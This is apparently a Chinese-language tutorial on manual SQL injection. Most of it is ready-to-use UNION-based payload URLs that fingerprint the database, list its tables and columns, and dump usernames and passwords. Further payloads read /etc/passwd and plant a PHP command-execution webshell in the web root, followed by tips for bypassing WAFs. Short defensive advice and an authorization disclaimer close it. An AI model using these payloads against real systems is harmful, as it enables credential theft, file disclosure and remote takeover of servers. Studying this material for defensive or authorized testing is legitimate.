1. SQL手工注入基础概念解析手工SQL注入是一种通过构造特殊SQL语句来探测和利用数据库漏洞的技术手段。与自动化工具不同手工注入需要测试者完全理解SQL语法和数据库结构通过逐步测试来获取敏感数据。这种技术常见于Web应用安全测试中能够帮助开发者发现系统中的安全隐患。在真实渗透测试场景中手工注入相比自动化工具具有以下优势能够绕过简单的WAF防护规则可以针对特定场景进行精细化测试测试过程更加可控减少对目标系统的影响能够发现一些自动化工具无法识别的特殊注入点2. 注入点识别与类型判断2.1 基础注入测试方法最基本的注入测试是在参数后添加单引号观察系统反应http://example.com/product.php?id1如果页面返回数据库错误或显示异常说明可能存在SQL注入漏洞。这是因为添加的单引号破坏了原始SQL语句的结构导致语法错误。2.2 数字型与字符型注入区分数字型注入特征测试正常查询http://example.com/product.php?id1 测试语句1http://example.com/product.php?id1 and 11 测试语句2http://example.com/product.php?id1 and 12判断逻辑如果11时页面正常12时页面异常则为数字型注入因为数字型参数不需要引号包裹逻辑表达式会直接参与SQL运算字符型注入特征测试正常查询http://example.com/search.php?qtest 测试语句1http://example.com/search.php?qtest and 11 测试语句2http://example.com/search.php?qtest and 12判断逻辑需要保持引号闭合确保SQL语法正确观察逻辑表达式对页面返回结果的影响3. 信息收集技术详解3.1 确定查询字段数使用ORDER BY子句逐步测试http://example.com/product.php?id1 order by 5--逐步增加数字直到页面报错最后的成功数字即为字段数。这个步骤至关重要因为后续的UNION查询必须匹配相同的列数。3.2 确定回显位置通过UNION SELECT定位可显示数据的列http://example.com/product.php?id-1 union select 1,2,3,4,5--页面中显示的数字即为可用的回显位置。在实际测试中经常需要尝试不同的参数值如将id设为不存在的值来确保原始查询不返回数据只显示我们的测试结果。4. 数据库结构探测4.1 获取数据库基本信息利用数据库内置函数获取关键信息# 获取当前数据库名 http://example.com/product.php?id-1 union select 1,database(),3,4,5-- # 获取数据库版本 http://example.com/product.php?id-1 union select 1,version(),3,4,5-- # 获取当前用户 http://example.com/product.php?id-1 union select 1,user(),3,4,5--4.2 提取表结构信息通过information_schema系统数据库获取表信息# 获取所有表名 http://example.com/product.php?id-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schemadatabase()-- # 获取指定表的列名 http://example.com/product.php?id-1 union select 1,column_name,3,4,5 from information_schema.columns where table_nameusers--5. 数据提取技术5.1 常规数据提取获取表中的实际数据http://example.com/product.php?id-1 union select 1,username,password,4,5 from users--5.2 数据拼接技巧当需要同时获取多列数据时可以使用连接函数# MySQL中的concat函数 http://example.com/product.php?id-1 union select 1,concat(username,:,password),3,4,5 from users-- # SQL Server中的操作符 http://example.com/product.php?id-1 union select 1,username:password,3,4,5 from users--6. 高级利用技术6.1 文件读取操作在具有足够权限的情况下读取服务器文件# MySQL文件读取 http://example.com/product.php?id-1 union select 1,load_file(/etc/passwd),3,4,5--6.2 文件写入操作写入Webshell等恶意文件# MySQL文件写入 http://example.com/product.php?id-1 union select 1,?php system($_GET[cmd]);?,3,4,5 into outfile /var/www/html/shell.php--7. 防御与防护建议7.1 开发者防护措施使用参数化查询Prepared Statements实施最小权限原则对输入数据进行严格过滤和转义使用Web应用防火墙(WAF)定期进行安全审计和渗透测试7.2 测试注意事项仅对授权目标进行测试避免使用可能造成数据破坏的操作测试前做好数据备份注意测试行为的法律边界测试完成后及时修复发现的漏洞8. 实战经验分享在实际渗透测试中遇到的一些常见问题及解决方法遇到WAF拦截时尝试更改注入语法如使用注释分割关键字使用大小写混合绕过简单过滤尝试不同的编码方式处理复杂注入场景对于时间盲注使用脚本自动化测试过程当直接注入失败时尝试二阶注入注意观察HTTP头部的注入可能性效率优化技巧先确定注入点再深入测试优先尝试获取数据库版本信息针对不同数据库类型使用特定语法重要提示所有安全测试必须在合法授权范围内进行未经授权的测试可能涉及法律责任。本文内容仅用于教育目的帮助开发者了解防御方法。